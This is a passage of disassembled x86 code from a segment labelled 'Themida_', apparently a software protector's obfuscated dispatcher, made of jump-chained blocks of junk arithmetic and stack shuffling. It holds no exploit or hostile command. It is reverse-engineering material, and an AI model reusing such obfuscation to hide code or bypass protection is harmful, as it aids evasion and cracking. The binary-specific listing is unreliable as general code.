		xchg	edi, [esp]
		jmp	loc_553680
; ---------------------------------------------------------------------------


loc_555981:				; CODE XREF: Themida_:0055E43Fj
		mov	ch, 91h
		push	dx
		mov	dl, 7
		xor	ch, dl
		pop	dx
		add	bl, ch
		jmp	loc_557A61
; ---------------------------------------------------------------------------


loc_555992:				; CODE XREF: Themida_:0055DED4j
		pop	ecx
		jmp	loc_558C62
; ---------------------------------------------------------------------------


loc_555998:				; CODE XREF: Themida_:00558A18j
		add	esp, 4
		jmp	loc_559E9A
; ---------------------------------------------------------------------------


loc_5559A0:				; CODE XREF: Themida_:00558A43j
		btc	[esp], ax
		pushf
		jmp	loc_552DCD
; ---------------------------------------------------------------------------


loc_5559AB:				; CODE XREF: Themida_:00557EB3j
		mov	edi, 43515089h
		sub	edi, ecx
		jmp	loc_55B908
; ---------------------------------------------------------------------------


loc_5559B7:				; CODE XREF: Themida_:00559307j
		mov	[esp], cx
		mov	ch, 71h
		xor	dh, ch
		mov	cx, [esp]
		add	esp, 2
		push	6451h
		mov	[esp], ebx
		mov	bl, 0B6h
		sub	bl, 97h
		xor	dh, bl
		pop	ebx
		jmp	loc_55EFB6
; ---------------------------------------------------------------------------


loc_5559DB:				; CODE XREF: Themida_:0055CCE7j
		add	esi, 6FF92EB3h
		add	esi, 6DFFBF75h
		add	ebx, esi
		jmp	loc_55F1AD
; ---------------------------------------------------------------------------


loc_5559EE:				; CODE XREF: Themida_:0055A320j
		pop	dword ptr [esp]
		pop	esp
		mov	ax, [esp]
		push	79F0h
		mov	[esp], eax
		push	esp
		mov	eax, [esp]
		add	esp, 4
		push	5411h
		mov	[esp], ebp
		mov	ebp, 4
		add	eax, ebp
		pop	ebp
		push	37C5h
		mov	[esp], ebx
		mov	ebx, 2
		add	eax, 38F6253Fh
		add	eax, ebx
		sub	eax, 38F6253Fh
		pop	ebx
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		mov	esp, [esp]
		mov	dx, [esp]
		push	eax
		push	esp
		pop	eax
		add	eax, 4
		jmp	loc_557B37
; ---------------------------------------------------------------------------


loc_555A4C:				; CODE XREF: Themida_:005572FAj
		add	ebp, 0DFDFFF1Bh
		jmp	loc_55E6EA
; ---------------------------------------------------------------------------
		lodsb
		xor	al, bl
		push	edx
		mov	dl, 5Ch
		shl	dl, 1
		xor	dl, 74h
		shl	dl, 5
		jmp	loc_55DCE3
; ---------------------------------------------------------------------------


loc_555A6A:				; CODE XREF: Themida_:0055BAB3j
		pop	esi
		mov	ebx, [esp]
		push	edx
		jmp	loc_55845A
; ---------------------------------------------------------------------------


loc_555A74:				; CODE XREF: Themida_:0055B9C6j
		pop	ecx
		jmp	loc_55A754
; ---------------------------------------------------------------------------


loc_555A7A:				; CODE XREF: Themida_:005545CDj
		or	edi, 24E132CAh
		xor	edi, 6BCA1861h
		add	eax, edi
		pop	edi
		jmp	loc_55620A
; ---------------------------------------------------------------------------
		neg	dword ptr [esp]
		pushf
		jmp	loc_552DCD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5747D8


loc_555A97:				; CODE XREF: sub_5747D8-219FAj
		xor	bl, 1Fh
		sub	al, 34h
		add	al, bl
		add	al, 34h
		pop	ebx
		jmp	loc_5533C5
; END OF FUNCTION CHUNK	FOR sub_5747D8
; ---------------------------------------------------------------------------


loc_555AA6:				; CODE XREF: Themida_:0055704Dj
		or	dl, 0F5h
		dec	dl
		jmp	loc_554C83
; ---------------------------------------------------------------------------


loc_555AB0:				; CODE XREF: Themida_:005587D6j
		mov	ecx, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		push	ebx
		mov	ebx, 0C8C4610h
		and	ebx, 8E47DB4h
		neg	ebx
		xor	ebx, 30893873h
		xor	ebx, 100D568Dh
		shl	ebx, 3
		xor	ebx, 0BFFEA874h
		add	ecx, ebx
		pop	ebx
		push	ecx
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		jmp	loc_55D0C1
; ---------------------------------------------------------------------------


loc_555AF0:				; CODE XREF: Themida_:0055E3CDj
		sub	edx, 639460B4h
		add	edx, edi
		add	edx, 639460B4h
		pop	edi
		push	edx
		jmp	loc_55B636
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	ebp
		mov	ebp, esp
		jmp	loc_55B282
; ---------------------------------------------------------------------------


loc_555B11:				; CODE XREF: Themida_:0055571Fj
		mov	[esp], eax
		mov	al, 60h
		and	al, 8Ah
		or	al, 12h
		jmp	loc_5570FD
; ---------------------------------------------------------------------------


loc_555B1F:				; CODE XREF: Themida_:005554B2j
		add	eax, 68720065h
		pop	edi
		push	edi
		mov	edi, 4
		push	ebx
		mov	ebx, 3B3B7176h
		push	edx
		mov	edx, 5988117Ch
		dec	edx
		neg	edx
		xor	edx, 24562E2h
		shl	edx, 5
		jmp	loc_558BF2
; ---------------------------------------------------------------------------


loc_555B48:				; CODE XREF: Themida_:005586F2j
		pop	ecx
		add	esp, 4
		and	eax, esi
		pop	esi
		shr	eax, 0Bh
		xor	ecx, eax
		push	esi
		push	eax
		push	ebx
		pop	eax
		mov	esi, eax
		mov	eax, [esp]
		sub	esp, 4
		jmp	loc_554164
; ---------------------------------------------------------------------------


loc_555B68:				; CODE XREF: Themida_:0055AC09j
		add	esp, 4
		push	607h
		mov	[esp], esi
		mov	esi, 2C46D26h
		jmp	loc_558351
; ---------------------------------------------------------------------------


loc_555B80:				; CODE XREF: Themida_:005579F3j
		not	ecx
		xor	ecx, 0B8A8C882h
		push	ecx
		pop	edx
		jmp	loc_5578D5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5747D8


loc_555B8F:				; CODE XREF: sub_5747D8-17275j
		push	small 5DF3h
		mov	word ptr [esp+26h+var_28+2], cx
		mov	cl, 0F5h
		sub	al, cl
		jmp	loc_55A1EE
; END OF FUNCTION CHUNK	FOR sub_5747D8
; ---------------------------------------------------------------------------


loc_555BA0:				; CODE XREF: Themida_:0055D6F4j
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_55A278
; ---------------------------------------------------------------------------


loc_555BAB:				; CODE XREF: Themida_:0055D64Ej
		mov	edi, [esp]
		push	ebp
		mov	ebp, esp
		jmp	loc_55A537
; ---------------------------------------------------------------------------


loc_555BB6:				; CODE XREF: Themida_:00554B45j
		mov	eax, [esp]
		jmp	loc_556110
; ---------------------------------------------------------------------------


loc_555BBE:				; CODE XREF: Themida_:0055DD8Bj
		add	edi, 79716A56h
		jmp	loc_5557D0
; ---------------------------------------------------------------------------


loc_555BC9:				; CODE XREF: Themida_:0055ED81j
		popf
		retn
; ---------------------------------------------------------------------------
		jmp	loc_552DCD
; ---------------------------------------------------------------------------


loc_555BD0:				; CODE XREF: Themida_:0055800Bj
		mov	bl, 1
		add	bl, 0FDh
		neg	bl
		dec	bl
		add	bl, 26h
		xor	al, bl
		pop	ebx
		add	bl, al
		jmp	loc_55453C
; ---------------------------------------------------------------------------


loc_555BE6:				; CODE XREF: Themida_:0055A794j
		pop	eax
		push	eax
		mov	eax, 3C3E28CCh
		inc	eax
		sub	eax, 6F56062Bh
		sub	eax, 367F33AAh
		jmp	loc_55950A
; ---------------------------------------------------------------------------


loc_555BFD:				; CODE XREF: Themida_:00554847j
		push	esp
		mov	ebx, [esp]
		add	esp, 4
		sub	esp, 4
		jmp	loc_5563D1
; ---------------------------------------------------------------------------


loc_555C0C:				; CODE XREF: Themida_:00556C82j
		pop	edi
		jmp	loc_55ED93
; ---------------------------------------------------------------------------


loc_555C12:				; CODE XREF: Themida_:00556C1Dj
		mov	[esp], eax
		mov	eax, 0D96025Eh
		push	eax
		not	dword ptr [esp]
		jmp	loc_554D51
; ---------------------------------------------------------------------------


loc_555C23:				; CODE XREF: Themida_:0055B708j
		add	ebp, 4AB2730Eh
		shl	ebp, 5
		sub	ebp, 310C49BEh
		jmp	loc_559BC1
; ---------------------------------------------------------------------------


loc_555C37:				; CODE XREF: Themida_:00552FC4j
		xor	ecx, ebx
		jmp	loc_553AB7
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	ax
		adc	[esp], al
		pushf
		jmp	loc_552DCD
; ---------------------------------------------------------------------------


loc_555C4D:				; CODE XREF: Themida_:00556EDEj
		push	29BC05D5h
		mov	eax, [esp]
		push	ebx
		jmp	loc_55700A
; ---------------------------------------------------------------------------


loc_555C5B:				; CODE XREF: Themida_:0055B6DEj
		shl	ebx, 2
		sub	ebx, 4A87BA1Eh
		jmp	loc_55CCF8
; ---------------------------------------------------------------------------


loc_555C69:				; CODE XREF: Themida_:00557D8Fj
		not	edi
		xor	edi, 2FA547C8h
		neg	edi
		sub	edi, 7A306F85h
		xor	edi, 0FF819B5Eh
		add	edx, edi
		pop	edi
		add	ebp, edx
		pop	edx
		push	eax
		mov	eax, 4
		add	ebp, 6D048DFh
		add	ebp, eax
		sub	ebp, 6D048DFh
		pop	eax
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		jmp	loc_55755D
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		jmp	$+5
		pop	ecx
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_554E16
; ---------------------------------------------------------------------------


loc_555CBF:				; CODE XREF: Themida_:0055A1A0j
		mov	[esp], edx
		jmp	loc_553079
; ---------------------------------------------------------------------------


loc_555CC7:				; CODE XREF: Themida_:00559792j
		xor	edx, eax
		xor	eax, edx
		xor	edx, eax
		not	eax
		push	edx
		push	797h
		mov	[esp], eax
		pop	edx
		push	dword ptr [esp]
		pop	eax
		jmp	loc_55DB33
; ---------------------------------------------------------------------------


loc_555CE2:				; CODE XREF: Themida_:0055808Fj
		add	ah, 5
		sub	ah, 0CCh
		mov	bl, ah
		jmp	loc_5562A2
; ---------------------------------------------------------------------------


loc_555CEF:				; CODE XREF: Themida_:0055705Bj
		mov	[esp], eax
		jmp	loc_554A46
; ---------------------------------------------------------------------------


loc_555CF7:				; CODE XREF: Themida_:0055E702j
		pop	esp
		sub	eax, 73137EEAh
		add	eax, edi
		add	eax, 73137EEAh
		push	dword ptr [eax]
		push	eax
		mov	eax, 1DE94327h
		add	[esp+4], eax
		pop	eax
		mov	ecx, [esp]
		jmp	loc_557444
; ---------------------------------------------------------------------------


loc_555D19:				; CODE XREF: Themida_:0055CAFBj
		add	ecx, edi
		pop	edi
		add	ecx, 0FFFFFFFFh
		add	ecx, 86CE7B6Ah
		jmp	loc_55C27E
; ---------------------------------------------------------------------------


loc_555D2A:				; CODE XREF: Themida_:005592CBj
		xor	eax, [esp]
		pop	esp
		jmp	loc_55E8E3
; ---------------------------------------------------------------------------


loc_555D33:				; CODE XREF: Themida_:00555736j
		mov	ebp, 1A436227h
		shl	ebp, 3
		and	ebp, 6E063058h
		jmp	loc_556760
; ---------------------------------------------------------------------------


loc_555D46:				; CODE XREF: Themida_:00559202j
		sub	ebx, 2D410C55h
		add	ebx, edx
		add	ebx, 2D410C55h
		jmp	loc_5595DD
; ---------------------------------------------------------------------------


loc_555D59:				; CODE XREF: Themida_:0055A39Aj
		shr	eax, 4
		shl	eax, 5
		add	eax, 0C497EC6h
		push	edi
		push	ebx
		mov	ebx, 47B4378Bh
		jmp	loc_55D83C
; ---------------------------------------------------------------------------


loc_555D70:				; CODE XREF: Themida_:0055C30Ej
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_55EA5F
; ---------------------------------------------------------------------------


loc_555D7D:				; CODE XREF: Themida_:0055887Bj
		pop	edx
		sub	al, cl
		jmp	loc_55562A
; ---------------------------------------------------------------------------


loc_555D85:				; CODE XREF: Themida_:0055E0A1j
		push	ebp
		jmp	loc_55BC61
; ---------------------------------------------------------------------------


loc_555D8B:				; CODE XREF: Themida_:005548D7j
		mov	esi, 5CED36A7h
		neg	esi
		not	esi
		jmp	loc_5568DD
; ---------------------------------------------------------------------------


loc_555D99:				; CODE XREF: Themida_:0055A814j
		mov	ebx, 6D2E1A32h
		sub	edx, ebx
		jmp	loc_55C52D
; ---------------------------------------------------------------------------


loc_555DA5:				; CODE XREF: Themida_:00559D84j
		xor	eax, ecx
		jmp	loc_55C921
; ---------------------------------------------------------------------------


loc_555DAC:				; CODE XREF: Themida_:00553A4Aj
		dec	ebx
		push	ebx
		jmp	loc_55ACAC
; ---------------------------------------------------------------------------


loc_555DB3:				; CODE XREF: Themida_:0055ABABj
		pop	ebx
		not	ebx
		shr	ebx, 6
		sub	ebx, 48B05B0Dh
		add	ebx, 60458656h
		mov	ecx, ebx
		pop	ebx
		add	ebp, ecx
		pop	ecx
		pop	esi
		jmp	loc_55A6ED
; ---------------------------------------------------------------------------


loc_555DD1:				; CODE XREF: Themida_:005597EBj
		sub	edx, 3E8A5DABh
		sub	edx, 2417168h
		xor	edx, 0BE29EB5Eh
		mov	edi, edx
		mov	edx, [esp]
		add	esp, 4
		sub	edx, 73450610h
		sub	edx, edi
		add	edx, 73450610h
		pop	edi
		pop	ecx
		xchg	edx, [esp]
		mov	esp, [esp]
		mov	ax, [esp]
		push	6A4h
		mov	[esp], ebp
		push	esp
		mov	ebp, [esp]
		add	esp, 4
		add	ebp, 4
		push	20C9h
		mov	[esp], eax
		push	ebp
		mov	ebp, 2
		mov	eax, ebp
		pop	ebp
		add	ebp, eax
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		sub	esp, 4
		mov	[esp], ebp
		push	dword ptr [esp+4]
		pop	ebp
		jmp	loc_55B785
; ---------------------------------------------------------------------------


loc_555E47:				; CODE XREF: Themida_:0055AE5Aj
		xor	ebx, edi
		pop	edi
		mov	ecx, ebx
		mov	ebx, [esp]
		add	esp, 4
		sub	ebp, ecx
		push	dword ptr [esp]
		jmp	loc_554ACB
; ---------------------------------------------------------------------------


loc_555E5F:				; CODE XREF: Themida_:0055464Fj
		shl	dl, 5
		jmp	loc_55C0AA
; ---------------------------------------------------------------------------


loc_555E67:				; CODE XREF: Themida_:005590BAj
		sub	edi, esi
		jmp	loc_559AAA
; ---------------------------------------------------------------------------


loc_555E6E:				; CODE XREF: Themida_:0055BE87j
		pop	esp
		jmp	loc_552DCD
; ---------------------------------------------------------------------------


loc_555E74:				; CODE XREF: Themida_:0055410Aj
		sub	ebx, 4
		jmp	loc_555FC3
; ---------------------------------------------------------------------------


loc_555E7F:				; CODE XREF: Themida_:00555355j
		mov	ecx, 4E830BA6h
		xor	ebx, ecx
		jmp	loc_5553C6
; ---------------------------------------------------------------------------


loc_555E8B:				; CODE XREF: Themida_:0055EFA9j
		pop	ebx
		shr	ecx, 2
		shr	ecx, 3
		jmp	loc_556526
; ---------------------------------------------------------------------------


loc_555E97:				; CODE XREF: Themida_:0055D66Fj
		xor	esi, 0B6E8AB58h
		sub	edx, esi
		pop	esi
		xchg	edx, [esp]
		jmp	loc_55A325
; ---------------------------------------------------------------------------


loc_555EA8:				; CODE XREF: Themida_:0055B15Bj
		test	cl, al
		pushf
		jmp	loc_552DCD
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		jmp	loc_554DAF
; ---------------------------------------------------------------------------


loc_555EB9:				; CODE XREF: Themida_:0055BCA4j
		push	ecx
		mov	ecx, 4
		add	[esp+4], ecx
		jmp	loc_5578F2
; ---------------------------------------------------------------------------


loc_555EC8:				; CODE XREF: Themida_:00555F4Dj
		sub	esi, ebx
		pop	ebx
		add	esi, 1CC106C4h
		push	ebx
		jmp	loc_55D8AC
; ---------------------------------------------------------------------------


loc_555ED7:				; CODE XREF: Themida_:00559DF6j
		mov	dh, ah
		pop	eax
		pop	ecx
		mov	bh, [esp+2]
		mov	[esp+2], dh
		pop	dx
		jmp	loc_55499B
; ---------------------------------------------------------------------------


loc_555EEA:				; CODE XREF: Themida_:0055D886j
		pop	dword ptr [esp]
		mov	esp, [esp]
		movzx	ecx, al
		jmp	loc_559A56
; ---------------------------------------------------------------------------


loc_555EF8:				; CODE XREF: Themida_:0055DCDEj
		add	edx, 6B891709h
		sub	edx, 15B05394h
		push	esi
		mov	esi, 2DD1014Bh
		sub	esi, 7C4D4E90h
		shl	esi, 4
		add	esi, 1A28D9C1h
		xor	edx, esi
		pop	esi
		sub	eax, 62E62950h
		add	eax, edx
		add	eax, 62E62950h
		pop	edx
		xchg	eax, [esp]
		pop	esp
		or	eax, eax
		jz	loc_556020
		push	ebx
		push	eax
		push	71FD0F0Bh
		pop	eax
		push	ebp
		mov	ebp, 4F615481h
		jmp	loc_559BA0
; ---------------------------------------------------------------------------


loc_555F48:				; CODE XREF: Themida_:0055A44Ej
		mov	ebx, 5FF23B1Eh
		jmp	loc_555EC8
; ---------------------------------------------------------------------------


loc_555F52:				; CODE XREF: Themida_:0055A5DFj
		sub	edx, 0E4AF5654h
		sub	ecx, edx
		pop	edx
		xor	ecx, [esp]
		xor	[esp], ecx
		jmp	loc_5543C4
; ---------------------------------------------------------------------------


loc_555F66:				; CODE XREF: Themida_:00555114j
		shl	si, 1
		xor	si, 69D0h
		sub	bp, si
		pop	esi
		sub	ax, 3550h
		add	ax, bp
		add	ax, 3550h
		pop	ebp
		add	ax, 0CC6h
		push	bx
		mov	bx, 2946h
		sub	ax, bx
		pop	bx
		add	ax, bx
		jmp	loc_55B1DF
; ---------------------------------------------------------------------------


loc_555F95:				; CODE XREF: Themida_:00559B5Cj
		pop	edx
		jmp	loc_559C57
; ---------------------------------------------------------------------------


loc_555F9B:				; CODE XREF: Themida_:00556809j
		pop	edx
		xor	edi, 0C995B5D3h
		push	edi
		jmp	loc_55A1AD
; ---------------------------------------------------------------------------


loc_555FA8:				; CODE XREF: Themida_:00554549j
		mov	[esp], esi
		jmp	loc_55AEC9
; ---------------------------------------------------------------------------


loc_555FB0:				; CODE XREF: Themida_:0055EBF3j
		sub	esi, eax
		pop	eax
		sub	esi, 64D491C4h
		push	527h
		jmp	loc_556CCA
; ---------------------------------------------------------------------------


loc_555FC3:				; CODE XREF: Themida_:00555E7Aj
		xchg	ebx, [esp]
		mov	esp, [esp]
		jmp	loc_55F186
; ---------------------------------------------------------------------------


loc_555FCE:				; CODE XREF: Themida_:0055C927j
		xor	edi, ecx
		xor	ecx, edi
		push	1207h
		mov	[esp], edi
		push	4399h
		mov	[esp], esi
		pop	edi
		jmp	loc_55B367
; ---------------------------------------------------------------------------


loc_555FE8:				; CODE XREF: Themida_:0055C7E8j
		mov	eax, esp
		add	eax, 4
		jmp	loc_559B1C
; ---------------------------------------------------------------------------


loc_555FF4:				; CODE XREF: Themida_:00556A3Aj
		add	bl, al
		add	bl, 50h
		push	eax
		mov	al, 0CFh
		push	small 3018h
		mov	[esp], cx
		push	ebx
		jmp	loc_55433F
; ---------------------------------------------------------------------------


loc_55600A:				; CODE XREF: Themida_:005538BEj
		push	edx
		jmp	loc_559083
; ---------------------------------------------------------------------------


loc_556010:				; CODE XREF: Themida_:005567D5j
		pop	esi
		add	ecx, edi
		add	dword ptr [ecx], 1
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4


loc_556020:				; CODE XREF: Themida_:00555F2Fj
		push	32C8h
		mov	[esp], ebx
		push	dword ptr [esp]
		jmp	loc_55A98E
; ---------------------------------------------------------------------------


loc_556030:				; CODE XREF: Themida_:0055F172j
		mov	[esp], edx
		push	eax
		pushf
		jmp	loc_552DCD
; ---------------------------------------------------------------------------


loc_55603A:				; CODE XREF: Themida_:00558F9Dj
		mov	edi, 5D3E40FDh
		jmp	loc_555119
; ---------------------------------------------------------------------------


loc_556044:				; CODE XREF: Themida_:00559B47j
		add	esp, 4
		push	8CEh
		mov	[esp], edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		pop	esp
		and	[esp], ax
		pushf
		jmp	loc_55A410
; ---------------------------------------------------------------------------


loc_556065:				; CODE XREF: Themida_:00554F4Ej
		push	esi
		mov	esi, 2A6D01DAh
		xor	ebx, esi
		pop	esi
		mov	eax, ebx
		mov	ebx, [esp]
		add	esp, 4
		push	ecx
		mov	ecx, 24h
		add	ecx, edi
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 0
		add	ebx, ecx
		add	[ebx], eax
		jmp	loc_5554FD
; ---------------------------------------------------------------------------


loc_556095:				; CODE XREF: Themida_:0055D837j
		sub	ch, 53h
		sub	ch, 0C5h
		add	al, ch
		pop	ecx
		sub	al, bl
		push	dx
		mov	dh, 6Ch
		not	dh
		sub	dh, 2Dh
		jmp	loc_553161
; ---------------------------------------------------------------------------


loc_5560AE:				; CODE XREF: Themida_:00559505j
		pop	ebp
		jmp	loc_557BBE
; ---------------------------------------------------------------------------


loc_5560B4:				; CODE XREF: Themida_:0055485Fj
		pop	dx
		jmp	loc_557366
; ---------------------------------------------------------------------------


loc_5560BB:				; CODE XREF: Themida_:00558322j
		xor	edi, 5C516779h
		push	eax
		push	ebp
		mov	ebp, 5FA26248h
		mov	eax, 16FAF952h
		add	eax, ebp
		pop	ebp
		dec	eax
		push	esi
		jmp	loc_55E94B
; ---------------------------------------------------------------------------


loc_5560D7:				; CODE XREF: Themida_:0055BC03j
		shl	al, 7
		add	al, 0D7h
		sub	bl, al
		pop	eax
		pop	ecx
		push	eax
		mov	al, bl
		mov	cl, al
		pop	eax
		pop	ebx
		or	cl, 92h
		jmp	loc_55DFD4
; ---------------------------------------------------------------------------


loc_5560EF:				; CODE XREF: Themida_:00553556j
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	edi
		add	edi, 4
		add	edi, 4
		jmp	loc_5582F4
; ---------------------------------------------------------------------------
		sub	esp, 4
		jmp	loc_55C30D
; ---------------------------------------------------------------------------


loc_556110:				; CODE XREF: Themida_:00555BB9j
		add	esp, 4
		sub	esi, 58220B84h
		dec	esi
		shl	esi, 8
		sub	esi, 2997C8CCh
		sub	ebx, 6292F89h
		sub	ebx, esi
		add	ebx, 6292F89h
		pop	esi
		sub	ebx, eax
		push	ebp
		mov	ebp, 545E0D34h
		add	ebx, ebp
		pop	ebp
		add	ebx, 0D443BB3h
		sub	esp, 4
		mov	[esp], eax
		push	esp
		pop	eax
		add	eax, 4
		sub	eax, 4
		jmp	loc_55B16D
; ---------------------------------------------------------------------------


loc_556158:				; CODE XREF: Themida_:00555438j
		mov	ecx, [esp]
		jmp	loc_55B19E
; ---------------------------------------------------------------------------


loc_556160:				; CODE XREF: Themida_:0055AF1Bj
		xor	ecx, 789E005Eh
		and	edi, ecx
		pop	ecx
		shr	edi, 4
		shr	edi, 5
		jmp	loc_55655B
; ---------------------------------------------------------------------------


loc_556174:				; CODE XREF: Themida_:00558A58j
		mov	esi, [esp]
		add	esp, 4
		sub	esp, 4
		jmp	loc_55C8A3
; ---------------------------------------------------------------------------


loc_556188:				; CODE XREF: Themida_:0055971Bj
		pop	edx
		jmp	loc_55CB7C
; ---------------------------------------------------------------------------


loc_55618E:				; CODE XREF: Themida_:loc_555070j
		xchg	ebp, [esp]
		pop	esp
		shl	esi, 5
		push	edx
		mov	edx, 1AEC61FFh
		push	edx
		jmp	loc_5586DB
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	ebp
		push	esp
		pop	ebp
		add	ebp, 4
		push	edx
		mov	edx, 2
		sub	ebp, 24752FCh
		push	esi
		mov	esi, 3FED00DCh
		add	esi, 3D5B6B6Fh
		xor	esi, 26500681h
		jmp	loc_55A200
; ---------------------------------------------------------------------------


loc_5561D1:				; CODE XREF: Themida_:0055316Ej
		add	ebp, 16622B49h
		pop	ecx
		xor	ebp, 370F79EEh
		add	ecx, ebp
		mov	ebp, [esp]
		push	eax
		jmp	loc_55674D
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		pop	eax
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_55E493
; ---------------------------------------------------------------------------


loc_5561FB:				; CODE XREF: Themida_:005589CAj
		pop	ebp
		jmp	loc_55B0AF
; ---------------------------------------------------------------------------


loc_556201:				; CODE XREF: Themida_:0055B380j
		pop	ebp
		and	eax, ebx
		pop	ebx
		jmp	loc_55DF40
; ---------------------------------------------------------------------------


loc_55620A:				; CODE XREF: Themida_:00555A89j
		add	eax, 6FE31DF1h
		add	eax, ebp
		sub	eax, 6FE31DF1h
		jmp	loc_555802
; ---------------------------------------------------------------------------


loc_55621B:				; CODE XREF: Themida_:0055683Cj
		add	esp, 4
		jmp	loc_559D20
; ---------------------------------------------------------------------------


loc_556226:				; CODE XREF: Themida_:0055A800j
		push	dword ptr [esp]
		pop	ebx
		push	0CE7h
		mov	[esp], esi
		push	esp
		pop	esi
		add	esi, 4
		add	esi, 4
		jmp	loc_55B565
; ---------------------------------------------------------------------------


loc_556245:				; CODE XREF: Themida_:0055719Bj
		add	[esp], ax
		pushf
		jmp	loc_552DCD
; ---------------------------------------------------------------------------


loc_55624F:				; CODE XREF: Themida_:0055E7AEj
		sub	ebp, 53265237h
		pop	edx
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		mov	[esp], dx
		push	ax
		pushf
		jmp	loc_552DCD
; ---------------------------------------------------------------------------


loc_55626C:				; CODE XREF: Themida_:00552EBDj
		push	7C2h
		mov	[esp], ebx
		jmp	loc_558509
; ---------------------------------------------------------------------------


loc_556279:				; CODE XREF: Themida_:005556B3j
		mov	eax, [esp]
		add	esp, 4
		and	eax, edx
		mov	edx, [esp]
		add	esp, 4
		shr	eax, 10h
		xor	eax, ecx
		push	7AF7h
		mov	[esp], eax
		xor	[esp], edx
		xor	edx, [esp]
		jmp	loc_5558E6
; ---------------------------------------------------------------------------


loc_5562A2:				; CODE XREF: Themida_:00555CEAj
		pop	eax
		jmp	loc_55E0A6
; ---------------------------------------------------------------------------


loc_5562A8:				; CODE XREF: Themida_:0055AB4Cj
		pop	ebx
		xchg	ecx, [esp]
		jmp	loc_55B52D
; ---------------------------------------------------------------------------


loc_5562B1:				; CODE XREF: Themida_:00552E62j
		pop	dword ptr [esp]
		jmp	loc_55772C
; ---------------------------------------------------------------------------


loc_5562B9:				; CODE XREF: Themida_:005534E0j
		mov	[esp], esi
		pop	edx
		pop	esi
		push	edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		jmp	loc_5533A2
; ---------------------------------------------------------------------------


loc_5562CC:				; CODE XREF: Themida_:00558205j
		mov	bh, 0C2h
		jmp	loc_55444F
; ---------------------------------------------------------------------------


loc_5562D3:				; CODE XREF: Themida_:00558568j
		push	edi
		mov	edi, 39881990h
		sub	edi, 9759460Eh
		xor	ebp, edi
		pop	edi
		push	ebp
		pop	ebx
		jmp	loc_5585DA
; ---------------------------------------------------------------------------


loc_5562E9:				; CODE XREF: Themida_:005594CAj
		mov	esi, ebp
		push	eax
		push	esi
		sub	dword ptr [esp], 637F5F8Bh
		pop	eax
		jmp	loc_55A8D2
; ---------------------------------------------------------------------------


loc_5562FA:				; CODE XREF: Themida_:00557716j
		sub	esp, 4
		mov	[esp], edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		pop	esp
		push	2AEAh
		mov	[esp], ebx
		push	0
		mov	ebx, [esp]
		add	esp, 4
		add	ebx, 43047CD8h
		jmp	loc_55A7EA
; ---------------------------------------------------------------------------
		push	dword ptr [edx]
		jmp	loc_552DCD
; ---------------------------------------------------------------------------


loc_556331:				; CODE XREF: Themida_:0055A6B5j
		add	eax, 3B8F24C2h
		jmp	loc_558F5D
; ---------------------------------------------------------------------------


loc_55633B:				; CODE XREF: Themida_:0055D5D6j
		jmp	loc_552DCD
; ---------------------------------------------------------------------------


loc_556340:				; CODE XREF: Themida_:0055B4A8j
		mov	dx, [esp]
		add	esp, 2
		jmp	loc_557A77
; ---------------------------------------------------------------------------


loc_55634F:				; CODE XREF: Themida_:005533F9j
		not	edx
		xor	edx, 0DCF2A695h
		jmp	loc_55CA6C
; ---------------------------------------------------------------------------


loc_55635C:				; CODE XREF: Themida_:00552E35j
		mov	ecx, [esp]
		add	esp, 4
		push	esi
		push	esp
		pop	esi
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		jmp	loc_5592BC
; ---------------------------------------------------------------------------


loc_55637D:				; CODE XREF: Themida_:005565F1j
		xchg	edx, [esp]
		jmp	loc_55C7D9
; ---------------------------------------------------------------------------


loc_556385:				; CODE XREF: Themida_:00555625j
		pop	eax
		or	edi, 5DC7095Ch
		not	edi
		add	edi, 7EF20F44h
		xor	eax, edi
		mov	edi, [esp]
		add	esp, 4
		sub	ebx, 5ECD2A7Dh
		push	edi
		jmp	loc_55DC20
; ---------------------------------------------------------------------------


loc_5563AB:				; CODE XREF: Themida_:005530D9j
		shl	ebx, 3
		jmp	loc_55454E
; ---------------------------------------------------------------------------


loc_5563B3:				; CODE XREF: Themida_:0055819Ej
		xchg	eax, edx
		not	edx
		jmp	loc_557E04
; ---------------------------------------------------------------------------


loc_5563BB:				; CODE XREF: Themida_:00557D3Aj
		add	ecx, 4
		jmp	loc_55A332
; ---------------------------------------------------------------------------


loc_5563C6:				; CODE XREF: Themida_:00553C47j
		push	esi
		mov	esi, 18AA7B26h
		jmp	loc_556F67
; ---------------------------------------------------------------------------


loc_5563D1:				; CODE XREF: Themida_:00555C07j
		mov	[esp], ecx
		push	eax
		jmp	loc_55DECA
; ---------------------------------------------------------------------------


loc_5563DA:				; CODE XREF: Themida_:00554C93j
		shr	ecx, 6
		inc	ecx
		sub	ecx, 32345782h
		not	ecx
		jmp	loc_55BCDC
; ---------------------------------------------------------------------------


loc_5563EB:				; CODE XREF: Themida_:00554429j
		mov	al, 0F7h
		jmp	loc_554DA6
; ---------------------------------------------------------------------------


loc_5563F2:				; CODE XREF: Themida_:0055BAD9j
		push	ecx
		mov	ecx, 0DF41C70h
		push	ecx
		mov	ecx, 6711581Eh
		shl	ecx, 1
		jmp	loc_55E2AE
